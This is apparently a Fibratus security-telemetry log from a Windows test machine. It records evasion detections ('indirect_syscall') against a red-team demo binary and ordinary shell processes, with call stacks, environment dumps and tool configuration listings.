C:\Windows\System32\ntdll.dll!RtlAllocateHeap|0x7ffc021192d7 C:\Windows\System32\gdi32full.dll!CreateFontIndirectExW|0x7ffc0211912f C:\Windows\System32\gdi32full.dll!CreateFontIndirectWImpl|0x7ffc03a35208 C:\Windows\System32\gdi32.dll!CreateFontIndirectW|0x7ffc03fdd375 C:\Windows\System32\user32.dll!GetNextDlgTabItem|0x7ffc03fdd4b9 C:\Windows\System32\user32.dll!SoftModalMessageBox|0x7ffc040105d2 C:\Windows\System32\user32.dll!MessageBoxIndirectA|0x7ffc0401002f C:\Windows\System32\user32.dll!MessageBoxTimeoutW|0x7ffc0400fe85 C:\Windows\System32\user32.dll!MessageBoxW|0x7ff7539e1930 C:\Fibratus\redteam\LayeredSyscall\demo.exe!?|0x7ff7539e3622 C:\Fibratus\redteam\LayeredSyscall\demo.exe!?|0x7ff7539e11ff C:\Fibratus\redteam\LayeredSyscall\demo.exe!?|0x7ff7539e3990 C:\Fibratus\redteam\LayeredSyscall\demo.exe!?|0x7ffc02b4e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffc045cc53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:79 +time=2025-12-10T16:34:55+01:00 level=info msg=detected evasion "indirect_syscall" on event [ + Seq: 1431686 + Pid: 19284 + Tid: 14492 + Type: CreateThread + CPU: 3 + Name: CreateThread + Category: thread + Description: Creates a thread to execute within the virtual address space of the calling process + Host: archrabbit + Timestamp: 2025-12-10 16:34:47.6404131 +0100 CET + Params: base_prioâžœ 5, exeâžœ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, io_prioâžœ 0, kstackâžœ ffffdb022f8c6000, kstack_limitâžœ ffffdb022f8bf000, page_prioâžœ 2, pidâžœ 8016, start_addressâžœ dd57c0, tebâžœ a092827000, tidâžœ 18628, ustackâžœ a092c00000, ustack_limitâžœ a092bff000 + Metadata: evasions: [indirect_syscall] + + Pid: 19284 + Ppid: 3392 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:92f73a80-eb88-4714-bcdb-852673c93ad1 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff8037a342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037a274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037a348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037a85af1d C:\WINDOWS\system32\ntoskrnl.exe!SeCreateAccessStateEx+0x20fd|0xfffff8037a85757c C:\WINDOWS\system32\ntoskrnl.exe!RtlFreeUTF8String+0x49c|0xfffff8037aac54ae C:\WINDOWS\system32\ntoskrnl.exe!CcMdlRead+0x7d7e|0xfffff8037a6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc046a36d4 C:\Windows\System32\ntdll.dll!ZwCreateUserProcess|0x7ffc01b56a8a C:\Windows\System32\KernelBase.dll!CreateProcessInternalW|0x7ffc01b540e6 C:\Windows\System32\KernelBase.dll!CreateProcessW|0x7ffc02b5c6d4 C:\Windows\System32\kernel32.dll!CreateProcessW|0x7ffbe5141876 C:\Windows\assembly\NativeImages_v4.0.30319_64\System\22f4d83e48c2201947e262d4bca638b9\System.ni.dll!?|0x7ffbe50a3c89 C:\Windows\assembly\NativeImages_v4.0.30319_64\System\22f4d83e48c2201947e262d4bca638b9\System.ni.dll!?|0x7ffbe50a35f9 C:\Windows\assembly\NativeImages_v4.0.30319_64\System\22f4d83e48c2201947e262d4bca638b9\System.ni.dll!?|0x7ffb8bc56365 unbacked!?] source=evasion/scanner.go:79 +time=2025-12-10T16:34:55+01:00 level=info msg=detected evasion "indirect_syscall" on event [ + Seq: 1431945 + Pid: 8016 + Tid: 18628 + Type: RegSetValue + CPU: 1 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-10 16:34:47.6526661 +0100 CET + Params: dataâžœ ã, key_handleâžœ ffff8086a3c746b0, key_pathâžœ HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-21-2271034452-2606270099-984871569-1001\\Device\HarddiskVolume4\Windows\System32\conhost.exe, statusâžœ Success, value_typeâžœ REG_BINARY + Metadata: evasions: [indirect_syscall] + + Pid: 8016 + Ppid: 19284 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=1" "--pwd=C:\Fibratus\redteam\LayeredSyscall" "--pswd=C:\Fibratus\redteam\LayeredSyscall" "--execution-time=280.6939" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=1" "--pwd=C:\Fibratus\redteam\LayeredSyscall" "--pswd=C:\Fibratus\redteam\LayeredSyscall" "--execution-time=280.6939" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037a342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037a342484 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff8037a344dbb C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff8037a885f4c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff8037a87f61c C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0xdc0c|0xfffff8037a6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037a6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8030fdb3439 C:\WINDOWS\system32\drivers\bam.sys!?|0xfffff8030fdb564e C:\WINDOWS\system32\drivers\bam.sys!?|0xfffff8030fdb46f8 C:\WINDOWS\system32\drivers\bam.sys!?|0xfffff8030fdb3f07 C:\WINDOWS\system32\drivers\bam.sys!?|0xfffff8037a8a436b C:\WINDOWS\system32\ntoskrnl.exe!RtlQueryAtomInAtomTable+0x9fb|0xfffff8037a85792e C:\WINDOWS\system32\ntoskrnl.exe!RtlFreeUTF8String+0x84e|0xfffff8037aac54ae C:\WINDOWS\system32\ntoskrnl.exe!CcMdlRead+0x7d7e|0xfffff8037a6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037a6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff803264de0f4 C:\WINDOWS\System32\drivers\condrv.sys!?|0xfffff803264ddc92 C:\WINDOWS\System32\drivers\condrv.sys!?|0xfffff803264dc754 C:\WINDOWS\System32\drivers\condrv.sys!?|0xfffff803264de816 C:\WINDOWS\System32\drivers\condrv.sys!?|0xfffff8037aafd417 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x2dfb7|0xfffff8037a8ccfbe C:\WINDOWS\system32\ntoskrnl.exe!NtDeviceIoControlFile+0x5e|0xfffff8037a6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc046a1da4 C:\Windows\System32\ntdll.dll!ZwDeviceIoControlFile|0x7ffc01bb5211 C:\Windows\System32\KernelBase.dll!AttachConsole|0x7ffc01bb501b C:\Windows\System32\KernelBase.dll!AttachConsole|0x7ffc01af298b C:\Windows\System32\KernelBase.dll!PcwRegisterCounterSet|0x7ffc01af3fc6 C:\Windows\System32\KernelBase.dll!ChrCmpIA|0x7ffc01b7dc8d C:\Windows\System32\KernelBase.dll!RemovePackageDependency|0x7ffc0469f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffc0454bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffc045497ac C:\Windows\System32\ntdll.dll!RtlDeleteElementGenericTableAvlEx|0x7ffc045d76ea C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffc045d7716 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffc045d6203 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddress|0x7ffc04556414 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc04556020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc0457fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffc045d8b04 C:\Windows\System32\ntdll.dll!LdrLockLoaderLock|0x7ffc045fd6a5 C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffc045fba50 C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffc045fb83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffc0462910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:79 +time=2025-12-10T16:34:55+01:00 level=info msg=detected evasion "indirect_syscall" on event [ + Seq: 1431951 + Pid: 8016 + Tid: 18628 + Type: CreateThread + CPU: 1 + Name: CreateThread + Category: thread + Description: Creates a thread to execute within the virtual address space of the calling process + Host: archrabbit + Timestamp: 2025-12-10 16:34:47.652767 +0100 CET + Params: base_prioâžœ 5, exeâžœ C:\WINDOWS\system32\conhost.exe, io_prioâžœ 0, kstackâžœ ffffdb022f939000, kstack_limitâžœ ffffdb022f932000, page_prioâžœ 2, pidâžœ 16224, start_addressâžœ 7ff66e3fc920, tebâžœ ef22db9000, tidâžœ 6484, ustackâžœ ef22e80000, ustack_limitâžœ ef22e7e000 + Metadata: evasions: [indirect_syscall] + + Pid: 8016 + Ppid: 19284 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=1" "--pwd=C:\Fibratus\redteam\LayeredSyscall" "--pswd=C:\Fibratus\redteam\LayeredSyscall" "--execution-time=280.6939" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=1" "--pwd=C:\Fibratus\redteam\LayeredSyscall" "--pswd=C:\Fibratus\redteam\LayeredSyscall" "--execution-time=280.6939" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037a342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037a274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037a348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037a85af1d C:\WINDOWS\system32\ntoskrnl.exe!SeCreateAccessStateEx+0x20fd|0xfffff8037a85757c C:\WINDOWS\system32\ntoskrnl.exe!RtlFreeUTF8String+0x49c|0xfffff8037aac54ae C:\WINDOWS\system32\ntoskrnl.exe!CcMdlRead+0x7d7e|0xfffff8037a6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037a6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff803264de0f4 C:\WINDOWS\System32\drivers\condrv.sys!?|0xfffff803264ddc92 C:\WINDOWS\System32\drivers\condrv.sys!?|0xfffff803264dc754 C:\WINDOWS\System32\drivers\condrv.sys!?|0xfffff803264de816 C:\WINDOWS\System32\drivers\condrv.sys!?|0xfffff8037aafd417 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x2dfb7|0xfffff8037a8ccfbe C:\WINDOWS\system32\ntoskrnl.exe!NtDeviceIoControlFile+0x5e|0xfffff8037a6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc046a1da4 C:\Windows\System32\ntdll.dll!ZwDeviceIoControlFile|0x7ffc01bb5211 C:\Windows\System32\KernelBase.dll!AttachConsole|0x7ffc01bb501b C:\Windows\System32\KernelBase.dll!AttachConsole|0x7ffc01af298b C:\Windows\System32\KernelBase.dll!PcwRegisterCounterSet|0x7ffc01af3fc6 C:\Windows\System32\KernelBase.dll!ChrCmpIA|0x7ffc01b7dc8d C:\Windows\System32\KernelBase.dll!RemovePackageDependency|0x7ffc0469f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffc0454bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffc045497ac C:\Windows\System32\ntdll.dll!RtlDeleteElementGenericTableAvlEx|0x7ffc045d76ea C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffc045d7716 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffc045d6203 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddress|0x7ffc04556414 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc04556020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc0457fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffc045d8b04 C:\Windows\System32\ntdll.dll!LdrLockLoaderLock|0x7ffc045fd6a5 C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffc045fba50 C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffc045fb83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffc0462910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:79 +time=2025-12-10T16:34:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T16:34:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T16:34:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T16:49:24+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T16:49:24+01:00 level=info msg=bootstrapping with pid 3216. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T16:49:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html use-template=>true enabled=>false to=>[] port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-mem=>false enable-audit-api=>true flush-interval=>1s max-buffers=>36 stack-enrichment=>true enable-net=>true enable-vamap=>true enable-thread=>true enable-image=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-dns=>false enable-threadpool=>false buffer-size=>512 min-buffers=>16 enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true formatter=>text max-age=>0 level=>info] + output ......................... [ http=>[ enable-gzip=>false timeout=>5s endpoints=>[] serializer=>json tls-insecure-skip-verify=>false method=>POST enabled=>false] elasticsearch=>[ bulk-workers=>1 servers=>[http://127.0.0.1:9200] sniff=>false flush-period=>1s gzip-compression=>false index-name=>fibratus healthcheck=>true template-name=>fibratus timeout=>5s enabled=>false healthcheck-timeout=>5s trace-log=>false healthcheck-interval=>10s] eventlog=>[ enabled=>false level=>info] amqp=>[ vhost=>/ routing-key=>fibratus tls-insecure-skip-verify=>false passive=>false timeout=>5s enabled=>false delivery-mode=>transient exchange-type=>topic durable=>false exchange=>fibratus url=>amqp://localhost:5672] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-allocs=>false fastscan=>true skip-files=>false skip-mmaps=>false scan-timeout=>10s enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T16:49:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:49:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:49:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T16:49:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T16:50:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T16:50:38+01:00 level=info msg=bootstrapping with pid 8308. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T16:50:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 to=>[] use-template=>true content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ min-buffers=>16 enable-dns=>false stack-enrichment=>true 